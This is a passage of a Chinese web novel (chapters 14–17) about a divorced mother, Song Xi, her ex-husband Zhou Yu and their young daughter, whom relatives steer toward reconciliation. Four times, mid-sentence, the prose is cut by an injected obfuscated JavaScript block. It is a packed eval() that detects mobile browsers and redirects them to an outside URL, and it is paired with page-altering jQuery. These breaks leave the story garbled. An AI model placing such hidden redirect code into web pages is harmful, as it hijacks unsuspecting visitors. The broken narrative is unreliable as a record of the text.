苏珍珍擦干眼泪回房间。她心里难受,没注意房门已经从关严变成了虚掩,见宋安之站在门口,也没多想,以为这孩子正准备出来。 “安之。”苏珍珍蹲下来,抱住孩子,没忍住,又哭出声来。 “小姨,你怎么啦?”宋安之软软的小手替她拭泪,“周叔叔给我买了好多零食,我把零食都分给你吃,别哭了好不好?”大人们的对话她虽然没听全,但有个事实显而易见——珍珍小姨不喜欢她爸爸周屿。很不喜欢。 宋安之想,小姨这么爱吃零食,给她吃爸爸买的零食,她应该就没那么讨厌爸爸了。 虽然那些零食她也很想吃,可眼下最重要的,是让小姨改变对她爸爸的印象。 “你喜欢那个周叔叔?”苏珍珍问。 宋安之认真地点了点头:“周叔叔真的是个很不错的男人。” 这个回答让苏珍珍破涕为笑。“很不错的男人?你晓不晓得什么叫男人哦!男人没一个好东西!” “那二姨公也不是好东西?晓辉舅舅也不是好东西?”宋安之被小姨的话搞懵了。 “你二姨公是例外。至于晓辉舅舅,还真不是个好东西。”苏珍珍低头,深呼吸,再抬起头时,看了宋安之好一会儿才开口,“乖乖,那个周叔叔要是对你不好,一定要告诉小姨,小姨去收拾他!” 客厅传来宋永红的喊声:“你收拾得了哪个哟?你把你自己收拾好就不错了!” 苏珍珍咬牙切齿,起身才冲到床头柜前,拿起上面的平板转身折返,将平板塞进孩子怀里:“安之,先出去玩,小姨想一个人静一静。” 宋安之跑出房间下一秒,身后响起巨大的摔门声。 她吓得缩缩脖子,跑向沙发边的宋永红。宋永红张开双臂抱住她。她仰起脸,说:“二姨婆,你别骂小姨了,小姨很好的。” 宋永红长叹,不住地摇头:“好是好,不懂事,不争气!” “妈妈告诉我,她爱我,对我好,不是因为我很棒,只因为我是她的女儿。”宋安之有模有样教育起宋永红来,“珍珍小姨是二姨婆的女儿,所以就算她不懂事,不争气,二姨婆也要爱她哦。” 宋永红愣了愣,噗嗤笑出声。 “乖乖,二姨婆活这么多年,见过好多娃儿,比你聪明的娃儿没你会说,比你会说的娃儿没你聪明。”她目光慈祥,指尖轻轻点了点宋安之脑门,“你爹妈真有福气,生了你这个姑娘。” 宋安之甜甜笑起来:“二姨婆,我想跟妈妈视频。” “好,先问问妈妈现在有没有空,下班没有。”宋永红在微信上给宋禧发了条消息,很快,那边弹来视频邀请。 宋永红没立马接通,而是告诉孩子:“安之,先别跟妈妈说你今天和周叔叔吃饭,也别说跟他出去玩,好吗?” 宋安之乖巧点头,连“为什么”都没有问。从之前偷听到的内容就能推断,爸爸妈妈分开是因为总吵架。难怪妈妈不喜欢她提起爸爸。既然如此,在妈妈重新喜欢上爸爸之前,她绝不能破坏二姨婆帮助他俩复婚的计划,绝对会管好嘴巴。 视频一连上,宋禧就宝贝长宝贝短叫个不停,宋永红见她满脸疲惫,心疼问道:“吃没吃晚饭啊?” “刚下班,回住处再吃吧。二姨,这两天麻烦你们了,安之听话吧?”宋禧站在路边,周围有些吵,她把音量调到最大。 “有什么麻烦不麻烦的哦,一家人不说两家话。安之是我们大家的宝贝,个个都喜欢她,你安心在外头挣钱就行了。”宋永红轻抚孩子柔软的长发,满眼都是爱意。 “还是要谢谢二姨。”宋禧忍住想哭的冲动,“对了,我妈怎么样了?早上跟她打了个电话,她说感觉好多了,明天就能出院,但是下午我就联系不上她了。” 宋永红:“你大姨和舅妈轮流去医院照顾她,下午是你大姨‘值班’,你大姨讲她下午一直在睡。这两天又吐又拉太虚弱了,估计现在都没醒。放心吧,肯定没事,真有事她们会联系你的。” 宋安之伸过头来,冲着镜头笑笑:“妈妈别担心,明天一早我就去医院看外婆!” “好呀,安之,记得跟外婆讲,以后千万不要在外头乱吃东西了,尤其是那些流动小摊摊。我讲话她不听,你讲有时候她还会听一下。”宋禧想起母亲那些坏习惯就头疼。 宋安之重重点头:“好!我帮妈妈监督外婆!” “安之真乖,”宋禧脸上的笑容驱散倦意,“妈妈好想你哦,还有一个多月才能回去接我宝贝呢。” “我也好想妈妈!一个多月很快的,妈妈别难过,等见面了,我要使劲亲你好几口。”宋安之说着,给她一个飞吻。 宋禧和宋永红被她逗得大笑。 跟孩子聊了一小会儿,宋禧转移话题,对宋永红说:“二姨,你劝劝我妈吧,喊她把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455245|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻将馆关了。我早上跟她讲这个事,她不听,还骂我,唉……这两年她身体越来越差,我不想让她继续干了。干这个每天早出晚归,赚不到几个钱,又影响休息。” 宋永红跟着叹气:“你劝都没用,我劝更没用。她不肯关门,还不是为了你?她在这边多赚一点是一点,自己生活有保障,你那边钱不够的时候,还能补贴你一点。你妈妈这个人,嘴巴讨嫌,心肠好,有时候爱你的方式确实不对,但是你也要理解,她没得好高文化,性格也差,说实话,她已经尽力了。” 宋禧:“我晓得的。所以我想好好孝敬她,她年纪大了,该休息就休息吧,你帮我跟大姨、幺舅他们说说,请他们也劝劝她。” “没得用。”宋永红不停摇头,“你以为你妈不想休息啊?她是不敢休息!以前她交的社保都是最低档,每个月领那点养老金,只够吃喝,看病咋个办?你那边实在需要钱咋个办?” 宋禧哽咽:“我现在收入越来越高了,每个月给她转点钱,再加上养老金,她也可以过得不错。” 宋永红长叹,仍是摇头:“收入高也不一定一直高,销售这一行,不稳定。而且你在京州生活刚刚好一点,每个月转钱给你妈,那不是一朝回到解放前?没必要,真的没必要。宋禧,你是个好孩子,你其实很孝顺,我们都晓得。趁你妈还没那么老,能自力更生,就让她继续开麻将馆吧。” 宋禧默不作声。 宋永红把孩子支去自己房间玩。“禧禧,你有没有想过——”她顿住,没往下说。 “想过什么?” “有没有想过在那边再找一个?”宋永红开始试探她心里的想法。 问这个啊?宋禧笑里几分无奈,摇头:“没想过,不考虑这些。” “还是可以考虑考虑的嘛,两个人搭伙过日子,互帮互助,怎么都比一个人强。”宋永红劝道,“要是找到个经济条件不错的,你就轻松多了,安之也能过得更好。” “二姨,你想得太简单了。安之是姑娘,给她找后爹,我是一点都不放心。而且人家经济条件好的,凭什么找我啊,人家是找对象,又不是扶贫。”就算真有一个样样都好的男人愿意跟她在一起,对她们母女不离不弃,她也不想再跟任何男人进入一段亲密关系。 “后爹确实不安全哈。”宋永红停顿片刻,小声试探,“如果——我是说如果,娃儿亲爹找你复婚呢?亲爹总不可能害自己姑娘吧?” 接下来数十秒,那头没有任何反应。 宋永红以为网卡了:“宋禧,宋禧?” “不可能。”那头终于开口。 宋永红凑近手机,小声说:“咋个不可能?我觉得要是你带娃儿去找小周,他不会拒绝复婚的。” “我是说,我这辈子绝对,绝对不可能跟周屿复婚。他要是有这个心,就喊他先去死,等他死了,兴许我会考虑帮他在下面介绍个对象,配个冥婚。”宋禧说完,立马挂断视频。 宋永红捧着手机,摇头叹气:“天菩萨,嘴巴好歹毒哦!” 15.第 15 章 夜色如同一块浸了水的绒布紧紧贴在窗户上,宋禧望着窗外,头一回觉得京州的夜晚如此令人窒息。 她猛地摇晃脑袋,把自己从回忆中拽出来,卸妆洗澡,坐在床上,下巴抵着膝盖,抱住双腿,稍不留神,思绪又陷入了七年前的某一天。 那是一个普普通通的早上,那时候她还没结婚。周屿下楼买了破酥包和豆浆回来,一起吃早餐时,周屿对她的家庭情况表现出浓厚兴趣。 “你爸长期在外地?”他问。 “也不算外地啦。他在黔阳,离这边不远。”宋禧掰开破酥包,先吃里面她最爱的三鲜馅。 周屿看得直撇嘴,他想不明白,怎么会有人喜欢这种口味。宋禧说他大惊小怪,这种东西就是爱的爱死,怕的怕死,猪肉混合豆沙的咸甜风味,对她来说堪称佳肴。但周屿已经把这玩意定义为包子界砒霜。 见他眉头紧锁,宋禧故意使坏,忽地把破酥包怼到他鼻子下。 “哎哟我去!”周屿猛地转身,差点从椅子上摔下来。 宋禧拍大腿狂笑。 周屿挺直后背,坐稳当,猛吸一口豆浆,压下刚才闻到的那股怪味。“别闹,说正经的。”他冲宋禧比出个打住的手势,“你爸很少回来?” “哈哈,”宋禧笑得干巴,“这几年几乎可以说没回来过,不过他就算回来也不会通知我。” “你俩关系不好?” “不能说好或者不好,我觉得我俩其实没什么关系。”宋禧咬一大口包子,嚼了很久才咽下去。她耸耸肩,脸上是无所谓的表情,“反正有他没他都一样,我和我妈过得很好。” “过得好你还离家出走啊?”周屿挑眉,摆明了不信。 “啧——”宋禧声音拖得老长,满脸不爽,“你晓不晓得你这个人——” “嗯?” “嘴巴好贱!”宋禧用家乡话骂,噌地起身,作势要把包子塞他嘴里,吓得他人仰椅翻,宋禧拍着手哈哈笑,“还犯不犯贱?犯不犯贱?” 周屿扶起椅子,后退好几米。“服了,女侠,我错了,对不起。”他叹气,“其实我跟家里关系也不好,所以想着咱俩要是差不多,还能同病相怜。” “谁跟你同病相怜?我可没病。我跟家里关系很好。你不懂,我们家就这样,吵吵闹闹,发泄完了事情就过去了。” “哦。”周屿抱起胳膊,歪着头瞧她,“那你打算什么时候跟你妈重归于好,从我房子里搬出去?” 宋禧这时候才想起自己还处于寄人篱下的境地。她拢拢头发,不好意思地笑了笑,温柔得与刚才判若两人:“再等等嘛,等我找到兼职,赚到钱马上付你房租。” 见惯了她大大咧咧的样子,周屿对这副装出来的温柔极为不适,打了个激灵,摇头:“别。兼职慢慢找,房租不用付。我就问你,咱俩现在算朋友吗?” 宋禧认真答道:“当然算啊,你都不收我房租,够义气!” “咱俩才认识几天,就是朋友?”周屿乐了,“你就不怕我是坏人啊?” “不怕啊。” “胆儿真大。” “我这人吧,看得开,要死就安心死,活着就开心活。”这确实是宋禧的人生态度,但并不是她敢跟这个陌生男人同住的真实理由。 真实理由她羞于启齿——像周屿这么好看的男人,她在家乡黔安从没遇到过,在家乡附近城市也从没遇到过,就连在所读大学的城市,那个号称遍地都是高个帅哥的地方,也从没遇到过。总而言之,周屿是她活到二十岁为止,遇到的最好看的男人。 她认为,周屿的好看,不能单单只用帅气或者俊美来形容。这是一种带有侵略性的好看,当她看到这个男人的第一眼,似乎就隐隐预料到自己要完蛋。 周屿甚至不是标准的欧式双眼皮,他属于内双,有时看是单眼皮,有时双得并不明显,这种眼皮配上微微挑起的眼角,看什么都给人一种有点痞坏又有点冷漠的感觉。 然而当你与他对视超过三秒,直视他的眼眸,又会感受到一种莫名其妙、不知由来的深情。大概是这双眸子太深邃,以至于这人看电线杆子都深情,宋禧想。 他的鼻子和嘴倒是跟其他帅哥差不多,鼻梁高挺,嘴唇薄,唇形完美,牙齿整齐洁白,虽然抽烟,但并不像宋禧看过的那些老烟枪,拥有一口令人反胃的黄牙。 这些优秀的五官组合放在一张线条柔和轮廓分明的脸上,让人很难把目光移开。 最要命的是,这人头小脸小,一米八六的个儿,身形顷长清瘦,比例恰到好处,除了完美,宋禧找不出别的词来形容。 非要鸡蛋里面挑骨头,她认为周屿的缺点只有一个,那就是——不是她的。 一想到这么好看一男人,不属于自己,并且自己这辈子极有可能再遇不上比他更好看的男人,宋禧就难受得抓心挠肺。 金城武太神秘,吴彦祖太遥远,而好看到跟他俩同一级别的男人,就在她眼前。 所以当她和母亲吵得天翻地覆,背着书包离开家,在雨里崩溃大哭,这个男人撑着一把黑伞走过来,问她要不要上去休息一下的时候,她只犹豫了两秒就点了点头。 后来她对周屿恨归恨,倒也没有时时刻刻怨天尤人,毕竟色字头上一把刀,为自己的好色付出代价,是再正常不过的事了。 她跟着周屿来到他的住处,心里期盼着发生点什么。真要发生点什么,她平平无奇乏善可陈的人生可以就此改写,人们对她的定义也不再是乖,听话,懂感恩。她终于敢面对自己内心最真实的渴望——她想活出不一样的人生,与从前的人生不一样,与芸芸众生的人生不一样。 令她失望的是,那天晚上什么也没发生。后来两天依然什么也没发生。再后来,就是宋禧在他面前吃破酥包,跟他打打闹闹的早上。 “周屿,”她不再嬉皮笑脸,神情认真得几乎是严肃,“你不会伤害我的,我知道。” 周屿倒是笑了:“这么信任我啊?” 她点头。 周屿问:“万一我要是伤害你了呢?” “那我自认倒霉。”她看着他的眼睛,轻轻叹息一声。 京州的这个深夜里,宋禧从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457910|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆中抽离,躺倒在床,脑海冒出四个大字:自认倒霉。 遇上周屿这种男人,她认了;爱过周屿这种男人,她也认了。安之长得这么像他,又这么聪明伶俐,可以说是让她利用了优秀基因,从这点来看,其实她是赚了。总比嫁个丑男人笨男人,生个丑娃娃笨娃娃强多了吧? 她看着手机屏保上天真可爱的女儿,不自觉扬起嘴角,心都化了。 · 宋安之平常起得早,但这天一反常态,睡到中午才醒来。 宋永红以为她昨天玩得太累所以睡得久,哪知道这孩子快凌晨三点才睡着。 夜里,宋安之心里守着秘密,谁也不敢告诉,小脑袋飞速转动,东想想西想想,越想越兴奋,越想越睡不着。屋里伸手不见五指,耳边传来二姨婆的呼噜声,宋安之翻来覆去,心里嘀咕:妈妈为什么讨厌爸爸呢?爸爸要做什么,妈妈才会原谅他呢?我要做什么,爸爸妈妈才能和好呢? 就算现在天下大乱,她也无暇顾及其他,只操心父母之间这点爱恨情仇了。 听二姨婆和珍珍小姨那意思,她爸爸很有钱,不过在她看来,钱不钱的无所谓,重要的是,她觉得妈妈很好,爸爸很好,他俩肯定有误会,只要误会解开,他们就能幸福团圆,还能像二姨婆家一样,建个名叫“相亲相爱一家人”的微信群呢。 宋安之就这样想啊想,终于在深夜不知不觉睡着了。 第二天中午醒来,二姨婆告诉她,外婆已经出院啦,但还需要在家休息两天,所以她还得在这里住两天。 “安之愿意吗?”二姨婆笑眯眯问。 “当然愿意,我最喜欢二姨婆啦!”宋安之抱了抱她。 宋永红轻刮一下孩子鼻梁:“大姨婆还跟我说,你在她家时,说最喜欢的是她。” “嘿嘿,都喜欢,都喜欢! “那……安之,你喜欢周叔叔吗?” 宋安之睁大眼睛,做思考状,点头:“喜欢的。” “真喜欢假喜欢?要讲实话哦。”宋永红伸出手指,点了点她鼻尖。 “真的很喜欢。” “你觉得周叔叔喜欢你吗?” “当然啦,不然他干嘛送我这么多东西,带我出去玩,带我吃西餐?” “安之真聪明。”宋永红竖起拇指,“周叔叔这么喜欢你,可能还要请你吃饭,带你去玩,你愿意吗?” “好呀!”她巴不得。 宋永红轻抚孩子后脑勺:“等下二姨婆要去看你外婆,你乖乖在家,有什么事就找小姨。”她拿出一部手机,“这是周屿叔叔送你的,要是想叔叔了,可以给他打电话,或者微信上发语音。” “哇,这部手机真好看,我好喜欢!”手机壳是她最爱的粉色,上面有个大大的Hello Kitty。 昨天周屿送的几套衣服都洗过晒好了,宋永红让孩子自己挑一套穿,宋安之选了白色上衣粉色裤子那套。 吃完午饭,宋永红离开,宋安之捧着属于自己的新手机,正鼓捣得起劲就有电话打过来,屏幕上闪烁的备注是:周叔叔。 16.第 16 章 宋安之赶紧接通,迫不及待大喊:“周叔叔!” 那头也迫不及待应道:“哎,安之吃午饭了么?” “吃啦!”宋安之心脏跳得飞快,知道真相后再听周叔叔说话,总感觉怪怪的。她一一细数,“我吃了米饭,炒牛肉,黄瓜炒鸡蛋,鸡蛋吃了很多,没怎么吃黄瓜,还喝了一碗紫菜汤。叔叔中午吃了什么呀?” 刚问完,苏珍珍的房门忽然打开。“安之,跟谁打电话呢?”苏珍珍问。 宋安之拿开手机,小声回答:“周叔叔!” 苏珍珍目光落到手机上,又问:“这是谁的手机?” 宋安之:“周叔叔送我的。” 苏珍珍嘴角动了动,默默关上门。 宋安之这才将手机放回耳旁:“叔叔,刚才我跟珍珍小姨说话呢。” “就你俩在家?”周屿问。 宋安之:“还有晓辉舅舅。二姨婆去看外婆了,二姨公跑滴滴去了。” 周屿:“今天还想去哪玩儿呢?” 宋安之想了想,说:“昨晚吃西餐那个商场也有儿童乐园,比新安商场的还大,我想去那里看看……可是,我也有点想外婆了,要不你先带我去看望外婆,然后再出去玩?” 今早周屿接到宋永红电话,说是孩子外婆已经出院,但这两天得还好休息,孩子还得在她家待着,宋永红告诉他,如果想孩子了,随时可以接走。周屿柔声开口:“你外婆身体虚弱,先让她好好休息吧,过两天再回去看望也不迟,叔叔过来接你,带你玩儿去。” “好!”宋安之忽然小声,“今天是不是一整天都不能吃零食了?” “是。” “哎……好想吃巧克力球呀,你给我买的那种,我还一个都没尝过呢……” “安之昨晚怎么答应我的?”周屿的心早已经软了,语气却故作强硬。 见他不肯让步,宋安之又是一声长叹:“好吧……那,商场的烤肠也不能吃?” “不能吃。” 宋安之抱着最后一丝侥幸心理为自己争取:“可是烤肠都没有包装袋呀,不能算零食!” 周屿:“算的,而且因为没有包装袋,咱们看不到配料表,可能烤肠更不健康。” 宋安之开始哼哼唧唧耍赖:“哎呀,叔叔,你就让我吃一根嘛,就吃一根,一小根,小小一根!” 关于小孩子说话不算话这件事,周屿以前就略有耳闻,并且认为有些父母原则性不强,孩子耍赖反悔,他们就妥协,这也太惯着了。等这事儿轮到自己头上,他才知道保持原则有多难。闺女软软糯糯撒着娇,他狠不下心拒绝,又无法直接退让,卡在中间,几乎是哀求:“安之,乖,听话,别吃这个,叔叔给你买玩具成么?” 宋安之立马来了精神:“真的?我还想要个芭比娃娃可以吗?我在这边已经有三个啦,再来一个,她们就能组模特队!” “成,别说一个,十个叔叔都给你买。”只要别再闹着吃烤肠。昨晚周屿回去查过,外面卖的烤肠属于科技狠活重灾区,肉质也堪忧。程扬家里有亲戚做这个,据说味道好吃食材放心,他已经付钱让程扬请亲戚做一些寄过来,过阵子才能收货。 “十个啊……太多了太多了,没必要买这么多……”宋安之第一反应是不该贪心,不能让人家花那么多钱,可小脑筋一转,这个“人家”,不就是她爹吗?她亲爹!爸爸给她多花点钱,应该……也没什么吧?“周叔叔,真的可以买十个吗?”她好想壮大她的芭比模特队呀! 周屿乐呵呵:“当然可以。有些商场买不全,回头叔叔网上给你买。” 宋安之欢呼,蹦得老高:“叔叔叔叔,你快来接我吧,我等不及要出去啦!” 没一会儿,周屿出现在宋永红家楼下。 他联系宋永红,宋永红联系苏珍珍,让她送孩子下来。 苏珍珍牵着宋安之往楼下走,紧抿着唇不作声。 “小姨,你怎么不高兴?”宋安之其实是知道原因的。 “没什么,心情不太好,跟安之没关系。”苏珍珍轻轻捏一下孩子小手。 “你是不是不希望我跟周叔叔出去呀?” “也不是……”苏珍珍不爱撒谎,却又没法对她讲真话。 “那你是不是不喜欢周叔叔?”宋安之自然而然顺着问。 “我——”苏珍珍提起一口气,好一会儿才呼出来,没做任何表态,只是摸了摸她的小脸蛋,“别想那么多,开开心心出去玩。” “好,你也要开开心心的哦!要不等下你回家煮螺蛳粉吧,趁二姨婆不在家,可以好好嗦粉。”宋安之知道,小姨虽然是个黔州人,但是对牛羊肉粉无感,偏爱螺蛳粉,只不过每次她在家里煮螺蛳粉,二姨婆都要骂她,说她把家里搞得全是粑粑味……其实宋安之也觉得螺蛳粉臭臭的,不过小姨既然爱吃,就随她去吧,反正下午自己不在家。 苏珍珍的脸上总算有了笑容:“你哦,怎么这么讨人喜欢呢?说得对,螺蛳粉可解千愁,回去我就煮!” 到达楼下,苏珍珍发现周屿和程扬都在。她板起脸打量两人,无视他俩礼貌的招呼,松开手,低头对宋安之说:“注意安全哦宝宝,有任何事赶紧打电话给小姨。” “嗯,放心吧小姨,自己在家好好休息!”宋安之冲她挥手。 等苏珍珍的背影消失在楼道,宋安之才暗暗松了口气。小姨看上去不仅讨厌爸爸,连程叔叔都很讨厌……为什么呢?宋安之想不明白。在她看来,爸爸和程叔叔可都是大好人。难道以前小姨和他俩都有过节? 宋安之的脑袋里塞满各种问题,上车后,静静坐在位置上,看着自己脚上那双粉色小皮鞋,像是在发呆。 “想什么呢?”周屿轻声问。 宋安之扭头,盯着他看了好一会儿,心里想:这就是我爸爸呀……难怪我看爸爸总感觉很熟悉,原来是因为我俩长得好像! “周叔叔,”宋安之拍拍自己背来的小挎包,“猜猜我带了什么?” “不会是零食吧?”周屿有点儿笑不出来。 “不是不是!说好了今天不吃零食,我绝对不会吃。当当当当——”她从包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460353|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里掏出手机,“你送我的哦!我要随时随地带着。” 周屿终于放心了,开怀一笑:“安之喜欢就好。” “叔叔,这个手机可以设置密码和指纹吗?妈妈的手机都有,我也想弄。” “可以。”周屿给她录上指纹锁,她还想设个密码,周屿问,“设成什么呢?” “199777。”她看着周屿,“你知道这是什么吗?” 周屿当然知道,但还是装模作样摇摇头。 宋安之有些生气,心里想:哼!连妈妈生日都忘了,难怪妈妈会讨厌你! “是一个很重要的人的生日哦。”她摇头晃脑提醒。 周屿挑眉:“该不会——是你妈妈生日吧?” “没错!”宋安之郑重其事强调,“珍珍小姨说过,没有女人会不喜欢礼物,更没有女人拒绝得了大礼!” “哇,作家出名言呐。”周屿憋着笑说道。 “而且有时候,就算生日过完了,别人要是忘记送礼物,还可以补送,礼物就算迟到,收到的人也会很开心的。”她自认给出的提示已经明显得不能再明显,只要不是超级大笨蛋,应该都知道接下来该怎么做。 “没错,是这样。”周屿附和,压根没明白闺女这是在点他。 父女俩,大的以为小的在教自己为人处世,小的以为大的意会了自己的苦心,默契地陷入沉默。 今天宋安之依然玩得尽兴,她在儿童乐园里疯玩时,不知道周屿在外面给宋永红打了个电话,提出今晚想带孩子回酒店,并且告诉孩子真相,宋永红答应得干脆,他倒是有些顾虑,问要不要跟孩子外婆商量一下,宋永红原话是——“我跟她外婆讲了,她外婆比我还支持你跟宋禧复婚!” 打完这通电话,周屿立马安排程扬买东西往宋禧母亲那送去。以前他觉得宋禧母亲太过势利,现在发现,势利有势利的好,她要是不势利,有些事儿还真就不好办了。 晚饭吃的是粤菜,鲜香清淡,宋安之很喜欢。吃完周屿才告诉她,今晚自己想带她回酒店,因为有件重要的事必须让她知道。 “什么事呀?”宋安之隐隐有预感,心跳快得像是在跑步,“好事还是坏事?” “这事儿没法用好坏形容,安之,我只能说,”周屿目光真诚,“这事儿对我来说,是好的。” “现在不能说吗?” “我得给你看个东西,那东西在酒店里。” “可是,我不能跟别人回家,妈妈说过的,绝对绝对不允许。” 周屿当着她的面,给宋永红打了个电话。 手机那头传来宋永红的声音:“乖乖,今晚去周叔叔那边吧,不要怕,周叔叔不会伤害你的,他还有好消息要告诉你呢。” 宋安之猜到这个好消息是什么,但还是做戏做到底,一脸困惑,勉强答应。 谁也不知道,此时此刻,宋永红家里,苏珍珍在自己房间隔着门听到母亲对宋安之说的这番话,怒火再也压不住,拿起手机,拨通宋禧号码。 “禧禧,安之被周屿接走了!” 17.第 17 章 头天晚上宋禧没睡好,不知怎么,脑海里总是不受控制浮起从前那些事,翻来覆去难以入眠,好不容易睡着,梦里也在跟周屿剪不断理还乱,大清早醒来,心浮气躁,烦得要命。 睡眠不足导致脑子不清醒,宋禧上午工作状态明显不对,原来记得滚瓜烂熟的材料介绍,今天说错两次,同事问她昨晚是不是喝酒去了,她拍拍脑门,叹气:“我倒是想喝酒哦,醉了还能好好睡一觉。” 午饭随便吃了几口,她连二姨视频,想看女儿,那边没接,她困劲上来,趴办公桌上睡觉,醒来胳膊发麻,稍微活动一下又开始下午的工作。 苏珍珍打来电话时,宋禧刚忙完,准备吃晚饭,累一天了,这会儿总算有了些饥饿感。 电话接通后,那边没有任何铺垫,直接甩出那句话,宋禧手里的一次性筷子啪嗒掉桌上,明明听清了,却又下意识确认:“被谁接走了?” 苏珍珍压着声音低喊:“周屿!安之被周屿接走了!昨天我妈带她去跟周屿吃饭,又跟周屿在外面玩了一下午,吃了晚饭才回来,今天更过分,居然让她跟周屿回酒店!看样子周屿打算和你抢安之了!” 宋禧好长时间没作声。周围同事边吃边聊,没人留意到她。她什么都听不见,眼神也失焦,像是毫无防备被人往脑袋上猛地抡了一锤。 “禧禧?宋禧?宋禧!”苏珍珍急得跺脚,怕声音太大被母亲发现自己在告密——母亲已经成为这个家的叛徒,被资本收买,主动站队周屿,这次要是打草惊蛇,没准安之再也回不来了。 “珍珍,”宋禧终于有了反应,“你说。” “你打算怎么办?唉……我真没用!很想帮你守住安之,可又拿我妈没办法,关键是,安之自己都很喜欢周屿!昨晚我跟我妈大吵一架,发现她已经‘病入膏肓’,不晓得是不是被周屿洗脑了,一门心思只想让你跟周屿复婚……”苏珍珍说着,眼泪成串往下掉,“口口声声打着为你们好的旗号,我看她就是掉钱眼里去了!” 宋禧紧抿双唇,沉默片刻,问:“周屿怎么找到安之的?” 苏珍珍把来龙去脉讲出来,最后长长叹气:“我写小说都写不出这么巧的剧情,真是服了!也不知道真这么巧,还是周屿故意接近!” 宋禧又不作声了。 “现在该怎么办啊?你比我聪明,快想想办法,需要我做什么,赴汤蹈火我都去替你做,永远站在你这边,绝不会像我妈那样!”苏珍珍义愤填膺,恨不得录个举手宣誓的视频给她发过去。 “别急。我知道了。”说完,宋禧挂断电话,转身往外走。 同事叫住她:“小宋,不吃饭啦?吃完再去忙吧!” 宋禧摇摇头。 “哎呀,你脸色怎么这么白!”同事吓一跳,关切问道,“是不是哪里不舒服?” “没关系,张姐,我家里有点急事,得回去处理一下,我去跟经理请几天假。” 她迅速转身,咬紧牙关快步往外走。 请完假,宋禧没有回住处,而是打车直奔机场,赶晚上九点半直飞黔阳那趟飞机。 · 宋安之没等到周屿告诉她那个自己已经隐隐猜到的秘密,就在回酒店的路上睡着了。昨晚半夜才睡,下午一直疯玩,晚餐吃得又多,所以刚上车没一会儿,她就开始眼皮打颤,脑袋撞到周屿肩上,睡得又沉又香。 周屿抱着她,拨开刘海,用纸巾轻轻擦去她额头上的汗。 “能吃能玩儿能睡,”周屿唇角浮起笑意,“多健康啊。” 程扬在前面附和:“我看她玩儿蹦床,比其他几个小子都蹦得高,瞧着挺有运动天赋。” 周屿脸上笑容不散,凑近看孩子,惊叹怎会有人睫毛这样卷翘,这样长。 “我家丫头是好看。”他没法将目光从这张小脸蛋上移开。 车停在酒店外,周屿抱着孩子下车,一路回到总套孩子都没醒。 “这得多累啊,睡这么踏实。”周屿小心翼翼将宋安之放在卧室床上,替她盖好被子,出来时,轻轻关上卧室房门。 程扬站在客厅茶几旁,正低着头,眼神落到那个文件袋上。 “您看了么?”他知道里面放着鉴定结果。 周屿扯唇:“看不看都一样,谁还能看不出来?” 程扬瞧着他,他说这话时,明明是笑的,神情却透着一丝淡漠和不满。程扬明白,这个笑里的淡漠和不满,不是冲孩子去的。 “其实她也挺不容易。”程扬帮宋禧说情。 周屿不作声。 程扬拿起文件袋,打开,取出鉴定书,抬眼看向他:“您不看,我帮您看看?” 周屿走向落地窗,默默俯瞰窗外的世界,身后传来纸张摩擦的声音——程扬把鉴定书放回了文件袋。 “现在就跟安之坦白,会不会太快?”程扬担心孩子一时承受不了。 “不说也得说了,”周屿抬头,眉眼清冷,“宋禧快回来了。”他扭脸,看向程扬,“应该就是这两天。” 程扬:“您怎么知道?” 周屿轻笑:“我认女儿这事儿,苏珍珍都知道了,宋禧还能不知道?宋禧知道了,还能不赶回来?” “也是。”程扬想起从前他俩吵得天昏地暗那些日子,劝道,“您跟她还是别当着孩子面儿——” “不会。哪能在孩子跟前吵。”就算背着孩子,周屿也压根不想跟宋禧吵。裤兜里手机震了震,他掏出一看,立即接通。 那头,宋永红的声音传来:“小周,你们回酒店了吧?” “回来了,阿姨,您有事儿么?” “没什么大事。安之今晚要在你那边住,我想过来给她送点换的衣服,再把她脏衣服拿回来洗。还有,安之快五岁了,你虽然是她爸爸,现在也不方便给她洗澡,她在外头玩这么久,肯定出了很多汗,我过来给她洗个澡。” 周屿冷硬的神色柔和许多。“辛苦您了,想得这么周到。”接到这通电话之前,他没想到宋永红能对孩子这般上心。 “辛苦什么哟,安之是我们一大家子的宝贝姑娘,我们疼她还来不及。”宋永红笑笑,没说半句假话。 周屿提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 